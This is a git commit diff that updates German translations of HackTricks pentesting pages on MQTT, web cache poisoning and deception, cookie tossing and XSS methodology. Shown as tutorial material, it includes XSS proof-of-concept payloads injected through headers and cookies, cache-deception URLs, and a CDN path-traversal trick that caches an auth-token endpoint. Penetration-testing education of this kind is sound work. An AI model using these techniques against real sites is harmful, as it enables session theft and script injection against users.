mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui
This commit is contained in:
parent
2d30b6a463
commit
83a25742dc
@ -15,7 +15,7 @@ PORT STATE SERVICE REASON
|
|||||||
|
|
||||||
Wenn ein **CONNECT**-Paket von MQTT-Brokern empfangen wird, wird ein **CONNACK**-Paket zurückgesendet. Dieses Paket enthält einen Rückgabecode, der entscheidend für das Verständnis des Verbindungsstatus ist. Ein Rückgabecode von **0x00** bedeutet, dass die Anmeldeinformationen akzeptiert wurden, was eine erfolgreiche Verbindung signalisiert. Andererseits signalisiert ein Rückgabecode von **0x05**, dass die Anmeldeinformationen ungültig sind, wodurch die Verbindung verhindert wird.
|
Wenn ein **CONNECT**-Paket von MQTT-Brokern empfangen wird, wird ein **CONNACK**-Paket zurückgesendet. Dieses Paket enthält einen Rückgabecode, der entscheidend für das Verständnis des Verbindungsstatus ist. Ein Rückgabecode von **0x00** bedeutet, dass die Anmeldeinformationen akzeptiert wurden, was eine erfolgreiche Verbindung signalisiert. Andererseits signalisiert ein Rückgabecode von **0x05**, dass die Anmeldeinformationen ungültig sind, wodurch die Verbindung verhindert wird.
|
||||||
|
|
||||||
Zum Beispiel, wenn der Broker die Verbindung aufgrund ungültiger Anmeldeinformationen ablehnt, würde das Szenario folgendermaßen aussehen:
|
Wenn der Broker beispielsweise die Verbindung aufgrund ungültiger Anmeldeinformationen ablehnt, würde das Szenario folgendermaßen aussehen:
|
||||||
```
|
```
|
||||||
{
|
{
|
||||||
"returnCode": "0x05",
|
"returnCode": "0x05",
|
||||||
@ -71,16 +71,12 @@ client.loop_start()
|
|||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
main()
|
main()
|
||||||
```
|
```
|
||||||
## Mehr Informationen
|
|
||||||
|
|
||||||
from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
|
||||||
|
|
||||||
### Das Publish/Subscribe-Muster <a href="#b667" id="b667"></a>
|
### Das Publish/Subscribe-Muster <a href="#b667" id="b667"></a>
|
||||||
|
|
||||||
Das Publish/Subscribe-Modell besteht aus:
|
Das Publish/Subscribe-Modell besteht aus:
|
||||||
|
|
||||||
- **Publisher**: veröffentlicht eine Nachricht an ein (oder mehrere) Thema(en) im Broker.
|
- **Publisher**: veröffentlicht eine Nachricht an ein (oder mehrere) Themen im Broker.
|
||||||
- **Subscriber**: abonniert ein (oder mehrere) Thema(en) im Broker und erhält alle Nachrichten, die vom Publisher gesendet werden.
|
- **Subscriber**: abonniert ein (oder mehrere) Themen im Broker und erhält alle Nachrichten, die vom Publisher gesendet werden.
|
||||||
- **Broker**: leitet alle Nachrichten von den Publishern zu den Subscribern weiter.
|
- **Broker**: leitet alle Nachrichten von den Publishern zu den Subscribern weiter.
|
||||||
- **Thema**: besteht aus einem oder mehreren Ebenen, die durch einen Schrägstrich (z. B. /smartshouse/livingroom/temperature) getrennt sind.
|
- **Thema**: besteht aus einem oder mehreren Ebenen, die durch einen Schrägstrich (z. B. /smartshouse/livingroom/temperature) getrennt sind.
|
||||||
|
|
||||||
|
|||||||
@ -15,8 +15,8 @@ Cache Poisoning zielt darauf ab, den Client-seitigen Cache zu manipulieren, um C
|
|||||||
|
|
||||||
Die Durchführung eines Cache-Poisoning-Angriffs umfasst mehrere Schritte:
|
Die Durchführung eines Cache-Poisoning-Angriffs umfasst mehrere Schritte:
|
||||||
|
|
||||||
1. **Identifizierung von Unkeyed Inputs**: Dies sind Parameter, die, obwohl sie nicht erforderlich sind, damit eine Anfrage im Cache gespeichert wird, die Antwort des Servers ändern können. Die Identifizierung dieser Eingaben ist entscheidend, da sie ausgenutzt werden können, um den Cache zu manipulieren.
|
1. **Identifizierung von Unkeyed Inputs**: Dies sind Parameter, die, obwohl sie nicht erforderlich sind, damit eine Anfrage im Cache gespeichert wird, die Antwort des Servers ändern können. Diese Eingaben zu identifizieren ist entscheidend, da sie ausgenutzt werden können, um den Cache zu manipulieren.
|
||||||
2. **Ausnutzung der Unkeyed Inputs**: Nach der Identifizierung der unkeyed Inputs besteht der nächste Schritt darin, herauszufinden, wie diese Parameter missbraucht werden können, um die Antwort des Servers in einer Weise zu ändern, die dem Angreifer zugutekommt.
|
2. **Ausnutzung der Unkeyed Inputs**: Nach der Identifizierung der unkeyed inputs besteht der nächste Schritt darin, herauszufinden, wie man diese Parameter missbrauchen kann, um die Antwort des Servers in einer Weise zu ändern, die dem Angreifer zugutekommt.
|
||||||
3. **Sicherstellen, dass die vergiftete Antwort im Cache gespeichert wird**: Der letzte Schritt besteht darin, sicherzustellen, dass die manipulierte Antwort im Cache gespeichert wird. Auf diese Weise erhält jeder Benutzer, der die betroffene Seite besucht, während der Cache vergiftet ist, die kontaminierte Antwort.
|
3. **Sicherstellen, dass die vergiftete Antwort im Cache gespeichert wird**: Der letzte Schritt besteht darin, sicherzustellen, dass die manipulierte Antwort im Cache gespeichert wird. Auf diese Weise erhält jeder Benutzer, der die betroffene Seite besucht, während der Cache vergiftet ist, die kontaminierte Antwort.
|
||||||
|
|
||||||
### Entdeckung: Überprüfen der HTTP-Header
|
### Entdeckung: Überprüfen der HTTP-Header
|
||||||
@ -43,27 +43,27 @@ Sie könnten [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7
|
|||||||
```
|
```
|
||||||
### Elicit a harmful response from the back-end server
|
### Elicit a harmful response from the back-end server
|
||||||
|
|
||||||
Mit dem identifizierten Parameter/Header überprüfen, wie er **sanitisiert** wird und **wo** er **reflektiert** wird oder die Antwort aus dem Header beeinflusst. Kannst du es irgendwie ausnutzen (eine XSS durchführen oder einen von dir kontrollierten JS-Code laden? Eine DoS durchführen?...)
|
Mit dem identifizierten Parameter/Kopfzeile überprüfen, wie er **bereinigt** wird und **wo** er **reflektiert** wird oder die Antwort aus der Kopfzeile beeinflusst. Kannst du es irgendwie missbrauchen (eine XSS durchführen oder einen von dir kontrollierten JS-Code laden? einen DoS durchführen?...)
|
||||||
|
|
||||||
### Get the response cached
|
### Get the response cached
|
||||||
|
|
||||||
Sobald du die **Seite** identifiziert hast, die ausgenutzt werden kann, welchen **Parameter**/**Header** du verwenden und **wie** du ihn **ausnutzen** kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen, du musst möglicherweise mehrere Sekunden lang versuchen.
|
Sobald du die **Seite** identifiziert hast, die missbraucht werden kann, welchen **Parameter**/**Kopfzeile** du verwenden und **wie** du ihn **missbrauchen** kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen, du musst möglicherweise mehrere Sekunden lang versuchen.
|
||||||
|
|
||||||
Der Header **`X-Cache`** in der Antwort könnte sehr nützlich sein, da er den Wert **`miss`** haben kann, wenn die Anfrage nicht im Cache gespeichert wurde, und den Wert **`hit`**, wenn sie im Cache gespeichert ist.\
|
Die Kopfzeile **`X-Cache`** in der Antwort könnte sehr nützlich sein, da sie den Wert **`miss`** haben kann, wenn die Anfrage nicht im Cache gespeichert wurde, und den Wert **`hit`**, wenn sie im Cache gespeichert ist.\
|
||||||
Der Header **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource im Cache gespeichert wird und wann die Ressource das nächste Mal wieder im Cache gespeichert wird: `Cache-Control: public, max-age=1800`
|
Die Kopfzeile **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource im Cache gespeichert wird und wann die Ressource das nächste Mal wieder im Cache gespeichert wird: `Cache-Control: public, max-age=1800`
|
||||||
|
|
||||||
Ein weiterer interessanter Header ist **`Vary`**. Dieser Header wird häufig verwendet, um **zusätzliche Header** anzugeben, die als **Teil des Cache-Schlüssels** behandelt werden, auch wenn sie normalerweise nicht als Schlüssel verwendet werden. Daher kann der Benutzer, wenn er den `User-Agent` des Opfers kennt, das er anvisiert, den Cache für die Benutzer mit diesem spezifischen `User-Agent` vergiften.
|
Eine weitere interessante Kopfzeile ist **`Vary`**. Diese Kopfzeile wird oft verwendet, um **zusätzliche Kopfzeilen** anzuzeigen, die als **Teil des Cache-Schlüssels** behandelt werden, auch wenn sie normalerweise nicht als Schlüssel verwendet werden. Daher kann der Benutzer, wenn er den `User-Agent` des Opfers kennt, das er anvisiert, den Cache für die Benutzer mit diesem spezifischen `User-Agent` vergiften.
|
||||||
|
|
||||||
Ein weiterer Header, der mit dem Cache zusammenhängt, ist **`Age`**. Er definiert die Zeit in Sekunden, die das Objekt im Proxy-Cache war.
|
Eine weitere Kopfzeile, die mit dem Cache zusammenhängt, ist **`Age`**. Sie definiert die Zeit in Sekunden, die das Objekt im Proxy-Cache war.
|
||||||
|
|
||||||
Beim Caching einer Anfrage sei **vorsichtig mit den Headern, die du verwendest**, da einige von ihnen **unerwartet** als **schlüsselig** verwendet werden könnten und das **Opfer diesen gleichen Header verwenden muss**. Immer **testen** einer Cache Poisoning mit **verschiedenen Browsern**, um zu überprüfen, ob es funktioniert.
|
Beim Caching einer Anfrage sei **vorsichtig mit den Kopfzeilen, die du verwendest**, da einige von ihnen **unerwartet** als **schlüsselig** verwendet werden könnten und das **Opfer diese gleiche Kopfzeile verwenden muss**. Teste immer eine Cache-Vergiftung mit **verschiedenen Browsern**, um zu überprüfen, ob es funktioniert.
|
||||||
|
|
||||||
## Exploiting Examples
|
## Exploiting Examples
|
||||||
|
|
||||||
### Easiest example
|
### Easiest example
|
||||||
|
|
||||||
Ein Header wie `X-Forwarded-For` wird unsanitized in der Antwort reflektiert.\
|
Eine Kopfzeile wie `X-Forwarded-For` wird unsaniert in der Antwort reflektiert.\
|
||||||
Du kannst eine grundlegende XSS-Payload senden und den Cache vergiften, sodass jeder, der auf die Seite zugreift, XSSed wird:
|
Du kannst eine grundlegende XSS-Nutzlast senden und den Cache vergiften, sodass jeder, der auf die Seite zugreift, XSS ausgesetzt wird:
|
||||||
```html
|
```html
|
||||||
GET /en?region=uk HTTP/1.1
|
GET /en?region=uk HTTP/1.1
|
||||||
Host: innocent-website.com
|
Host: innocent-website.com
|
||||||
@ -71,12 +71,20 @@ X-Forwarded-Host: a."><script>alert(1)</script>"
|
|||||||
```
|
```
|
||||||
_Beachten Sie, dass dies eine Anfrage an `/en?region=uk` und nicht an `/en` vergiften wird._
|
_Beachten Sie, dass dies eine Anfrage an `/en?region=uk` und nicht an `/en` vergiften wird._
|
||||||
|
|
||||||
### Cache-Poisoning für DoS
|
### Cache-Poisoning zum DoS
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
cache-poisoning-to-dos.md
|
cache-poisoning-to-dos.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
### Cache-Poisoning durch CDNs
|
||||||
|
|
||||||
|
In **[diesem Bericht](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** wird folgendes einfaches Szenario erklärt:
|
||||||
|
|
||||||
|
- Das CDN wird alles unter `/share/` cachen.
|
||||||
|
- Das CDN wird `%2F..%2F` NICHT dekodieren oder normalisieren, daher kann es als **Pfadtraversierung verwendet werden, um auf andere sensible Orte zuzugreifen, die gecacht werden,** wie `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`.
|
||||||
|
- Der Webserver wird `%2F..%2F` dekodieren und normalisieren und mit `/api/auth/session` antworten, das **den Auth-Token enthält**.
|
||||||
|
|
||||||
### Verwendung von Web-Cache-Poisoning zur Ausnutzung von Cookie-Verwundbarkeiten
|
### Verwendung von Web-Cache-Poisoning zur Ausnutzung von Cookie-Verwundbarkeiten
|
||||||
|
|
||||||
Cookies könnten auch in der Antwort einer Seite reflektiert werden. Wenn Sie dies missbrauchen können, um beispielsweise ein XSS zu verursachen, könnten Sie in der Lage sein, XSS in mehreren Clients auszunutzen, die die bösartige Cache-Antwort laden.
|
Cookies könnten auch in der Antwort einer Seite reflektiert werden. Wenn Sie dies missbrauchen können, um beispielsweise ein XSS zu verursachen, könnten Sie in der Lage sein, XSS in mehreren Clients auszunutzen, die die bösartige Cache-Antwort laden.
|
||||||
@ -85,7 +93,7 @@ GET / HTTP/1.1
|
|||||||
Host: vulnerable.com
|
Host: vulnerable.com
|
||||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||||
```
|
```
|
||||||
Beachten Sie, dass, wenn das verwundbare Cookie von den Benutzern häufig verwendet wird, reguläre Anfragen den Cache bereinigen.
|
Beachten Sie, dass, wenn das verwundbare Cookie von den Benutzern häufig verwendet wird, regelmäßige Anfragen den Cache bereinigen.
|
||||||
|
|
||||||
### Generierung von Abweichungen mit Trennzeichen, Normalisierung und Punkten <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
### Generierung von Abweichungen mit Trennzeichen, Normalisierung und Punkten <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||||
|
|
||||||
@ -107,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
|
|||||||
|
|
||||||
### Verwendung mehrerer Header zur Ausnutzung von Web-Cache-Poisoning-Schwachstellen <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
### Verwendung mehrerer Header zur Ausnutzung von Web-Cache-Poisoning-Schwachstellen <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||||
|
|
||||||
Manchmal müssen Sie **mehrere unverschlüsselte Eingaben ausnutzen**, um einen Cache missbrauchen zu können. Zum Beispiel können Sie einen **Open Redirect** finden, wenn Sie `X-Forwarded-Host` auf eine von Ihnen kontrollierte Domain und `X-Forwarded-Scheme` auf `http` setzen. **Wenn** der **Server** alle **HTTP**-Anfragen **an HTTPS** weiterleitet und den Header `X-Forwarded-Scheme` als Domainnamen für die Weiterleitung verwendet. Sie können steuern, wohin die Seite durch die Weiterleitung zeigt.
|
Manchmal müssen Sie **mehrere unverschlüsselte Eingaben ausnutzen**, um einen Cache zu missbrauchen. Zum Beispiel können Sie einen **Open Redirect** finden, wenn Sie `X-Forwarded-Host` auf eine von Ihnen kontrollierte Domain und `X-Forwarded-Scheme` auf `http` setzen. **Wenn** der **Server** alle **HTTP**-Anfragen **an HTTPS** weiterleitet und den Header `X-Forwarded-Scheme` als Domainnamen für die Weiterleitung verwendet. Sie können steuern, wohin die Seite durch die Weiterleitung zeigt.
|
||||||
```html
|
```html
|
||||||
GET /resources/js/tracking.js HTTP/1.1
|
GET /resources/js/tracking.js HTTP/1.1
|
||||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||||
@ -138,7 +146,7 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
|
|||||||
|
|
||||||
### Parameter Cloacking
|
### Parameter Cloacking
|
||||||
|
|
||||||
Zum Beispiel ist es möglich, **Parameter** in Ruby-Servern mit dem Zeichen **`;`** anstelle von **`&`** zu trennen. Dies könnte verwendet werden, um unverschlüsselte Parameterwerte in verschlüsselten zu platzieren und sie auszunutzen.
|
Zum Beispiel ist es möglich, **Parameter** in Ruby-Servern mit dem Zeichen **`;`** anstelle von **`&`** zu trennen. Dies könnte verwendet werden, um unkeyed Parameterwerte in keyed Parameter einzufügen und sie auszunutzen.
|
||||||
|
|
||||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||||
|
|
||||||
@ -148,7 +156,7 @@ Erfahren Sie hier, wie man [Cache Poisoning-Angriffe durch Missbrauch von HTTP R
|
|||||||
|
|
||||||
### Automated testing for Web Cache Poisoning
|
### Automated testing for Web Cache Poisoning
|
||||||
|
|
||||||
Der [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kann verwendet werden, um automatisch nach Web-Cache-Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist hochgradig anpassbar.
|
Der [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kann verwendet werden, um automatisch auf Web-Cache-Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist hochgradig anpassbar.
|
||||||
|
|
||||||
Beispielverwendung: `wcvs -u example.com`
|
Beispielverwendung: `wcvs -u example.com`
|
||||||
|
|
||||||
@ -156,7 +164,7 @@ Beispielverwendung: `wcvs -u example.com`
|
|||||||
|
|
||||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||||
|
|
||||||
ATS leitete den Fragmentteil innerhalb der URL weiter, ohne ihn zu entfernen, und generierte den Cache-Schlüssel nur unter Verwendung des Hosts, Pfads und der Abfrage (unter Ignorierung des Fragments). Daher wurde die Anfrage `/#/../?r=javascript:alert(1)` an das Backend als `/#/../?r=javascript:alert(1)` gesendet, und der Cache-Schlüssel enthielt nicht die Payload, nur Host, Pfad und Abfrage.
|
ATS leitete den Fragmentteil innerhalb der URL weiter, ohne ihn zu entfernen, und generierte den Cache-Schlüssel nur unter Verwendung des Hosts, Pfads und der Abfrage (das Fragment ignorierend). Daher wurde die Anfrage `/#/../?r=javascript:alert(1)` an das Backend als `/#/../?r=javascript:alert(1)` gesendet, und der Cache-Schlüssel enthielt nicht die Payload, nur Host, Pfad und Abfrage.
|
||||||
|
|
||||||
### GitHub CP-DoS
|
### GitHub CP-DoS
|
||||||
|
|
||||||
@ -176,11 +184,11 @@ Cloudflare hat zuvor 403-Antworten zwischengespeichert. Der Versuch, auf S3 oder
|
|||||||
|
|
||||||
### Injecting Keyed Parameters
|
### Injecting Keyed Parameters
|
||||||
|
|
||||||
Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Zum Beispiel hat Fastlys Varnish den `size`-Parameter in Anfragen zwischengespeichert. Wenn jedoch eine URL-kodierte Version des Parameters (z.B. `siz%65`) auch mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten `size`-Parameters konstruiert. Das Backend würde jedoch den Wert im URL-kodierten Parameter verarbeiten. Die URL-Kodierung des zweiten `size`-Parameters führte zu seiner Auslassung durch den Cache, aber zu seiner Nutzung durch das Backend. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem zwischenspeicherbaren 400 Bad Request-Fehler.
|
Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Zum Beispiel speicherte Fastlys Varnish den `size`-Parameter in Anfragen. Wenn jedoch eine URL-kodierte Version des Parameters (z. B. `siz%65`) ebenfalls mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten `size`-Parameters erstellt. Das Backend würde jedoch den Wert im URL-kodierten Parameter verarbeiten. Die URL-Kodierung des zweiten `size`-Parameters führte dazu, dass er vom Cache weggelassen, aber vom Backend verwendet wurde. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem zwischenspeicherbaren 400 Bad Request-Fehler.
|
||||||
|
|
||||||
### User Agent Rules
|
### User Agent Rules
|
||||||
|
|
||||||
Einige Entwickler blockieren Anfragen mit User-Agents, die mit denen von stark frequentierten Tools wie FFUF oder Nuclei übereinstimmen, um die Serverlast zu verwalten. Ironischerweise kann dieser Ansatz Schwachstellen wie Cache Poisoning und DoS einführen.
|
Einige Entwickler blockieren Anfragen mit User-Agents, die mit denen von stark frequentierten Tools wie FFUF oder Nuclei übereinstimmen, um die Serverlast zu verwalten. Ironischerweise kann dieser Ansatz Schwachstellen wie Cache-Poisoning und DoS einführen.
|
||||||
|
|
||||||
### Illegal Header Fields
|
### Illegal Header Fields
|
||||||
|
|
||||||
@ -194,7 +202,7 @@ Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die ak
|
|||||||
|
|
||||||
Das Ziel von Cache Deception ist es, dass Clients **Ressourcen laden, die mit ihren sensiblen Informationen vom Cache gespeichert werden**.
|
Das Ziel von Cache Deception ist es, dass Clients **Ressourcen laden, die mit ihren sensiblen Informationen vom Cache gespeichert werden**.
|
||||||
|
|
||||||
Zunächst ist zu beachten, dass **Erweiterungen** wie `.css`, `.js`, `.png` usw. normalerweise **konfiguriert** sind, um im **Cache** **gespeichert** zu werden. Daher, wenn Sie `www.example.com/profile.php/nonexistent.js` aufrufen, wird der Cache wahrscheinlich die Antwort speichern, da er die `.js` **Erweiterung** sieht. Wenn jedoch die **Anwendung** mit den **sensiblen** Benutzerinhalten, die in _www.example.com/profile.php_ gespeichert sind, **wiedergibt**, können Sie diese Inhalte von anderen Benutzern **stehlen**.
|
Zunächst einmal beachten Sie, dass **Erweiterungen** wie `.css`, `.js`, `.png` usw. normalerweise **konfiguriert** sind, um im **Cache** **gespeichert** zu werden. Daher, wenn Sie `www.example.com/profile.php/nonexistent.js` aufrufen, wird der Cache wahrscheinlich die Antwort speichern, da er die `.js` **Erweiterung** sieht. Wenn jedoch die **Anwendung** mit den **sensiblen** Benutzerinhalten, die in _www.example.com/profile.php_ gespeichert sind, **wiedergibt**, können Sie diese Inhalte von anderen Benutzern **stehlen**.
|
||||||
|
|
||||||
Weitere Dinge, die getestet werden sollten:
|
Weitere Dinge, die getestet werden sollten:
|
||||||
|
|
||||||
@ -205,11 +213,11 @@ Weitere Dinge, die getestet werden sollten:
|
|||||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||||
- _Verwenden Sie weniger bekannte Erweiterungen wie_ `.avif`
|
- _Verwenden Sie weniger bekannte Erweiterungen wie_ `.avif`
|
||||||
|
|
||||||
Ein weiteres sehr klares Beispiel findet sich in diesem Bericht: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
Ein weiteres sehr klares Beispiel finden Sie in diesem Bericht: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||||
In dem Beispiel wird erklärt, dass, wenn Sie eine nicht vorhandene Seite wie _http://www.example.com/home.php/non-existent.css_ laden, der Inhalt von _http://www.example.com/home.php_ (**mit den sensiblen Informationen des Benutzers**) zurückgegeben wird und der Cache-Server das Ergebnis speichern wird.\
|
In dem Beispiel wird erklärt, dass, wenn Sie eine nicht vorhandene Seite wie _http://www.example.com/home.php/non-existent.css_ laden, der Inhalt von _http://www.example.com/home.php_ (**mit den sensiblen Informationen des Benutzers**) zurückgegeben wird und der Cache-Server das Ergebnis speichern wird.\
|
||||||
Dann kann der **Angreifer** _http://www.example.com/home.php/non-existent.css_ in seinem eigenen Browser aufrufen und die **vertraulichen Informationen** der Benutzer beobachten, die zuvor darauf zugegriffen haben.
|
Dann kann der **Angreifer** _http://www.example.com/home.php/non-existent.css_ in seinem eigenen Browser aufrufen und die **vertraulichen Informationen** der Benutzer beobachten, die zuvor darauf zugegriffen haben.
|
||||||
|
|
||||||
Beachten Sie, dass der **Cache-Proxy** so **konfiguriert** sein sollte, dass er Dateien **basierend** auf der **Erweiterung** der Datei (_ .css_) und nicht basierend auf dem Content-Type speichert. Im Beispiel _http://www.example.com/home.php/non-existent.css_ wird ein `text/html`-Content-Type anstelle eines `text/css`-Mime-Typs (der für eine _.css_-Datei erwartet wird) haben.
|
Beachten Sie, dass der **Cache-Proxy** so **konfiguriert** sein sollte, dass er Dateien **basierend** auf der **Erweiterung** der Datei (_ .css_) und nicht basierend auf dem Content-Type zwischenspeichert. Im Beispiel _http://www.example.com/home.php/non-existent.css_ wird ein `text/html`-Content-Type anstelle eines `text/css`-MIME-Typs (der für eine _.css_-Datei erwartet wird) haben.
|
||||||
|
|
||||||
Erfahren Sie hier, wie man [Cache Deceptions-Angriffe durch Missbrauch von HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) durchführt.
|
Erfahren Sie hier, wie man [Cache Deceptions-Angriffe durch Missbrauch von HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) durchführt.
|
||||||
|
|
||||||
|
|||||||
@ -14,10 +14,11 @@ Wie im Abschnitt über Cookies Hacking angegeben, wenn ein **Cookie auf eine Dom
|
|||||||
Dies kann gefährlich sein, da der Angreifer möglicherweise:
|
Dies kann gefährlich sein, da der Angreifer möglicherweise:
|
||||||
|
|
||||||
- **Das Cookie des Opfers auf das Konto des Angreifers fixieren**, sodass, wenn der Benutzer es nicht bemerkt, **er die Aktionen im Konto des Angreifers ausführt** und der Angreifer möglicherweise einige interessante Informationen erhält (überprüfen der Suchhistorie des Benutzers auf der Plattform, das Opfer könnte seine Kreditkarte im Konto hinterlegen...)
|
- **Das Cookie des Opfers auf das Konto des Angreifers fixieren**, sodass, wenn der Benutzer es nicht bemerkt, **er die Aktionen im Konto des Angreifers ausführt** und der Angreifer möglicherweise einige interessante Informationen erhält (überprüfen der Suchhistorie des Benutzers auf der Plattform, das Opfer könnte seine Kreditkarte im Konto hinterlegen...)
|
||||||
- Wenn das **Cookie sich nach dem Login nicht ändert**, könnte der Angreifer einfach **ein Cookie fixieren (Session-Fixation)**, warten, bis das Opfer sich einloggt, und dann **dieses Cookie verwenden, um sich als das Opfer einzuloggen**.
|
- Ein Beispiel dafür [kann hier gefunden werden](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/), wo der Angreifer sein Cookie in spezifischen Abschnitten gesetzt hat, die ein Opfer verwenden wird, um **Zugriff auf seine Git-Repos zu autorisieren, aber vom Konto des Angreifers aus**, da er seine Cookies in den benötigten Endpunkten setzen wird.
|
||||||
|
- Wenn das **Cookie sich nach dem Login nicht ändert**, kann der Angreifer einfach **ein Cookie fixieren (Session-Fixierung)**, warten, bis das Opfer sich einloggt, und dann **dieses Cookie verwenden, um sich als das Opfer einzuloggen**.
|
||||||
- Manchmal, selbst wenn sich die Session-Cookies ändern, verwendet der Angreifer das vorherige und erhält auch das neue.
|
- Manchmal, selbst wenn sich die Session-Cookies ändern, verwendet der Angreifer das vorherige und erhält auch das neue.
|
||||||
- Wenn das **Cookie einen bestimmten Anfangswert setzt** (wie in Flask, wo das **Cookie** den **CSRF-Token** der Session **setzen** kann und dieser Wert nach dem Login des Opfers beibehalten wird), kann der **Angreifer diesen bekannten Wert setzen und dann missbrauchen** (in diesem Szenario könnte der Angreifer dann den Benutzer dazu bringen, eine CSRF-Anfrage auszuführen, da er den CSRF-Token kennt).
|
- Wenn das **Cookie einen bestimmten Anfangswert setzt** (wie in Flask, wo das **Cookie** den **CSRF-Token** der Session **setzen** kann und dieser Wert nach dem Login des Opfers beibehalten wird), kann der **Angreifer diesen bekannten Wert setzen und dann missbrauchen** (in diesem Szenario könnte der Angreifer dann den Benutzer dazu bringen, eine CSRF-Anfrage auszuführen, da er den CSRF-Token kennt).
|
||||||
- Genau wie das Setzen des Wertes könnte der Angreifer auch ein nicht authentifiziertes Cookie generieren lassen, den CSRF-Token daraus erhalten und ihn verwenden.
|
- Genau wie das Setzen des Wertes könnte der Angreifer auch ein nicht authentifiziertes Cookie generieren, das vom Server erstellt wurde, den CSRF-Token daraus erhalten und ihn verwenden.
|
||||||
|
|
||||||
### Cookie-Reihenfolge
|
### Cookie-Reihenfolge
|
||||||
|
|
||||||
|
|||||||
@ -22,7 +22,7 @@
|
|||||||
2. Können Sie den String entkommen und anderen JS-Code ausführen?
|
2. Können Sie den String entkommen und anderen JS-Code ausführen?
|
||||||
3. Ist Ihre Eingabe in Template-Literalen \`\`?
|
3. Ist Ihre Eingabe in Template-Literalen \`\`?
|
||||||
4. Können Sie Schutzmaßnahmen umgehen?
|
4. Können Sie Schutzmaßnahmen umgehen?
|
||||||
4. Javascript **Funktion** wird **ausgeführt**:
|
4. Javascript **Funktion**, die **ausgeführt** wird:
|
||||||
1. Sie können den Namen der auszuführenden Funktion angeben. z.B.: `?callback=alert(1)`
|
1. Sie können den Namen der auszuführenden Funktion angeben. z.B.: `?callback=alert(1)`
|
||||||
4. Wenn **verwendet**:
|
4. Wenn **verwendet**:
|
||||||
1. Sie könnten eine **DOM XSS** ausnutzen, achten Sie darauf, wie Ihre Eingabe kontrolliert wird und ob Ihre **kontrollierte Eingabe von einem Sink verwendet wird.**
|
1. Sie könnten eine **DOM XSS** ausnutzen, achten Sie darauf, wie Ihre Eingabe kontrolliert wird und ob Ihre **kontrollierte Eingabe von einem Sink verwendet wird.**
|
||||||
@ -37,8 +37,8 @@ debugging-client-side-js.md
|
|||||||
|
|
||||||
Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen **Wert finden, der von Ihnen kontrolliert wird und im Webpage reflektiert wird**.
|
